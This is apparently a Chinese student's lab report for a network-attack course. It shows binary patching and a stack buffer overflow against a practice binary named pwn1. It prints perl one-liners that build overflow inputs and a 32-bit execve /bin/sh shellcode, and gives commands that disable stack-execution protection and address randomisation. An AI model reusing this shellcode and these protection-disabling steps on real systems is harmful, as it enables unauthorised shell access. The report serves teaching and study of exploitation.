20165218 《网络对抗技术》Exp1 逆向及Bof基础
Exp1 逆向及Bof基础
基础知识
1. NOP, JNE, JE, JMP, CMP汇编指令的机器码
| 指令 | 机器码 |
|---|---|
| NOP | NOP指令即“空指令”,在x86的CPU中机器码为0x90(144)。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。可以用于破解程序的call验证。 |
| JNE | 条件转移指令,如果不相等则跳转,机器码75 |
| JE | 条件转移指令,如果相等则跳转,机器码74 |
| JMP | 无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA) |
| CMP | 比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果 |
直接修改程序机器指令,改变程序执行流程
1. 计算机器指令
- 复制pwn1为pwn1_1,将之作为步骤一的实验文件
objdump -d pwn1_1 | more,反汇编pwn1_1,找到实验中要用到的main,foo,getShell三段代码

- 注意main中第四行指令
call 8048491 <foo>,即将跳转到地址8048491的指令,即为foo的第一行push %ebp, 若想让main中第四行跳入getShell函数,则需修改机器指令
e8 d7 ff ff ff,使其指向0804847d <getShell>
e8 d7 ff ff ff,e8为跳转之意,d7 ff ff ff对应寄存器eip中值与目的地址差值,因而有ffffffd7 - ?? = 8048491-804847d,计算出??=ffffffc,所以将该行改为e8 c3 ff ff ff即可
2. 修改机器指令
在vi内修改
- 命令行
vi pwn1_1打开 - 此时是以ASCII码显示的,
esc,:%!xxd将之转化为16进制显示 /de d7查找内容,注意这里有个空格= =,不然找不到
修改为
e8 c3 ff ff ff
:%!xxd -r转换16进制为原格式wq保存并退出修改完成

利用wxHexEditor修改
wxHexEditor pwn1_1打开
工具栏 编辑->查找,输入e8c3(因为已经在vi里改过啦,这里就演示一下)


找到啦,修改也很方便,直接在原处修改即可

通过构造输入参数,造成BOF攻击,改变程序执行流
1. 确认覆盖返回值的字符
gdb pwn1_2GDB调试run后,输入12345678 22345678 32345678 42345678 52345678(便于对应)观察eip寄存器的值,
0x34333235即为ASCII码的5234(小端方式)
因此,只要将
5234这个位置的字符改成getShell函数的地址,即可实现缓冲区溢出
2. 如何覆盖
- getShell函数第一个指令的地址为
0804847d,若想使之替代“5234”的部分,需要输入为
\x7d\x84\x04\x08,再加上一个\x0a表示回车 命令行输入
perl -e 'print "12345678223456783234567842345678/x7d/x84/x04/x08/x0a" ' > input生成input文件
将input通过管道符“|”,作为pwn1_2的输入

注入Shellcode并执行
什么是Shellcode
- shellcode是一段机器码程序,其功能是得到一个系统shell。
和前面的getshell区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是hacker自己编写的,可以实现任何功能。
攻击思路还是利用缓冲区溢出,修改返回地址,只不过返回地址不再是修改为getshell的地址,而是shellcode的地址。
准备工作
- 关闭堆栈执行保护
execstack -s pwn1 - 关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space
查找地址
- 用第一种(坑)的方法查找地址= =
- 命令行输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,其中\x4\x3\x2\x1\是将覆盖到堆栈上的返回地址的位置 (cat input_shellcode;cat) | ./pwn1_3注入shellcode攻击打开终端2号,
ps -ef | grep pwn1_3,查找pwn1_3的进程号35772
- 调试
gdb,attach 35772运行进程 disassemble foo查看foo的汇编代码,可以看到ret指令对应的地址为0x080484ae
b *0x080484ae设置断点,在终端1回车,回到终端2,c(continue)i r esp查看栈顶指针
x/16x 0xffffd21c16进制查看内存,可以看到01020304,则0xffffd21c加4位0xffffd220即为我们要找的地址
准备Shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode- 将上面代码中的
\x4\x3\x2\x1\换成\x20\xd2\xff\xff即可 - 注入攻击

实验感受
- 堆栈结构好复杂!因为还是小端模式,高地址低地址拐来拐去已经晕了
- 第一次做shellcode时候毅然跳进了老师挖的坑里,后来找了学长学姐们的博客、还有同学的博客,最后才在江智宇学姐的博客里发现要用NSR模式注入,但要用RSN模式查找地址。(所以不知道很多人上来就用
\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00查找地址是怎么做到的啊!枯了) - 漏洞是什么,有什么危害?漏洞是计算机应用软件或操作系统在逻辑设计上的缺陷或编写时产生的错误,这个缺陷或错误可以被不法者或者电脑黑客利用,通过植入木马、病毒等方式攻击或控制整个电脑,从而窃取电脑中的重要资料和信息,甚至破坏整个系统
遇到问题
问题:安装wxhexeditor时,出现了
解决:
参考资料
- 解决问题E: 无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用 - CSDN
- 利用gdb在汇编指令级调试C程序 - CSDN
- gdb调试--汇编指令处断点 - CSDN
- GDB调试汇编堆栈过程分析
- 函数调用栈 剖析+图解 - CSDN
- Shellcode入门
- linux x64 gdb 调试学习笔记
20165218 《网络对抗技术》Exp1 逆向及Bof基础的更多相关文章
- 20145321《网络对抗技术》逆向与Bof基础
20145321<网络对抗技术>逆向与Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何 ...
- 20145337《网络对抗技术》逆向及BOF基础
20145337<网络对抗技术>逆向及BOF基础 实践目标 操作可执行文件pwn1,通过学习两种方法,使main函数直接执行getshall,越过foo函数. 实践内容 手工修改可执行文件 ...
- 20145302张薇 《网络对抗技术》逆向及BOF基础实践
20145302张薇 <网络对抗技术>逆向及BOF基础实践 实验内容 实践对象:名为20145302的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单 ...
- 20145328 《网络对抗技术》逆向及Bof基础实践
20145328 <网络对抗技术>逆向及Bof基础实践 实践内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回 ...
- 20145210姚思羽《网络对抗技术》逆向及Bof基础实践
20145210姚思羽<网络对抗技术>逆向及Bof基础实践 实践目标 1.本次实践的对象是一个名为pwn1的linux可执行文件. 2.该程序正常执行流程是:main调用foo函数,foo ...
- 20145236《网络对抗》Exp1 逆向及Bof基础
20145236<网络对抗>Exp 1逆向及Bof基础 一.实践目标 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码. 二.基础知识及实践准备 理解EIP寄存器及其功 ...
- 20145339顿珠达杰 《网络对抗技术》 逆向与Bof基础
目的 通过一些方法,使能够运行本不该被运行的代码部分,或得到shell的使用: 将正常运行代码部分某处call后的目标地址,修改为另一部分我们希望执行.却本不应该执行的代码部分首地址(这需要我们有一定 ...
- 20145329 《网络对抗技术》 逆向及Bof基础实验
1.实验内容 本次实践的对象是一个名为20145329的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串.该程序同时包含另一个代码片段,ge ...
- 20145311 王亦徐《网络对抗技术》 逆向及BOF进阶实践
20145311<网络对抗技术>逆向及BOF进阶实践 学习目的 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈 ...
- 网络对抗实验一 逆向及Bof基础实践
网络对抗实验一 逆向及Bof基础实践 一.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ...
随机推荐
- Spring入门学习笔记(2)——基于Java的配置
目录 基于Java的配置 @Configuration & @Bean Annotations Example 注入Bean依赖 @Import注解 Lifecycle Callbacks(声 ...
- https、ssl、tls协议学习
一.知识准备 1.ssl协议:通过认证.数字签名确保完整性:使用加密确保私密性:确保客户端和服务器之间的通讯安全 2.tls协议:在SSL的基础上新增了诸多的功能,它们之间协议工作方式一样 3.htt ...
- kali vmtools 不能复制粘贴解决方法(绝对实用)
朋友问起怎么vm kali 2019怎么不能复制了,而且网上的方法大多不适合.我就在这儿记录一笔吧,方便大家. 之前发现最新kali复制粘贴不能用,后来发现一个奇妙的套路,不是共享文件夹.只需要把文件 ...
- 利用cocoapods创建基于git的私有库Spec Repo
上一篇文章记录了我利用cocoapods创建基于SVN的私有库的全部过程,今天我再记录一下基于git创建的过程. 整体先说明一下创建一个私有的podspec包括如下那么几个步骤: 创建并设置一个私有的 ...
- Shell 字符串处理、获取文件名和后缀名
http://blog.csdn.net/guojin08/article/details/38704823
- sprint2(第二天)
昨天没有想到餐桌的功能,今天加到展板.然后今天我们完成了餐桌模板,可以实现添加桌子的桌号.人数.修改和删除功能.不过由于今天学校网络不是很好,晚上我们clone了很久都没clone下来,所以没有上传代 ...
- centos下配置gitosis服务器
背景: 一台windows电脑,Xshell可以登录centos服务器(centos7.2 64位,有root用户权限),windows电脑已经安装好git和tortoies 在windows下下载和 ...
- Notes of Daily Scrum Meeting(11.17)
Notes of Daily Scrum Meeting(11.17) 今天是第四周的周一,也就是说距离最后发布也只剩下一周的时间,但我们的工程里面还有很多的问题没有解决,我关注过 其他一两个小组,他 ...
- 20172325 2017-2018-2 《Java程序设计》第五周学习总结
20172325 2017-2018-2 <Java程序设计>第五周学习总结 教材学习内容总结 1.布尔表达式的值只有真或假,表达式的结果决定了下一步将要执行的语句. 2.循环语句可以用在 ...
- My Sql数据库设置环境变量和字符集
一.踩坑背景 之前开发中一直用的是sql server 数据库,最近接到公司一个老的项目,用的my sql数据库做的,功能做了一大部分,现在客户要求对原程序和数据库进行服务器的迁移工作.产品经理给出 ...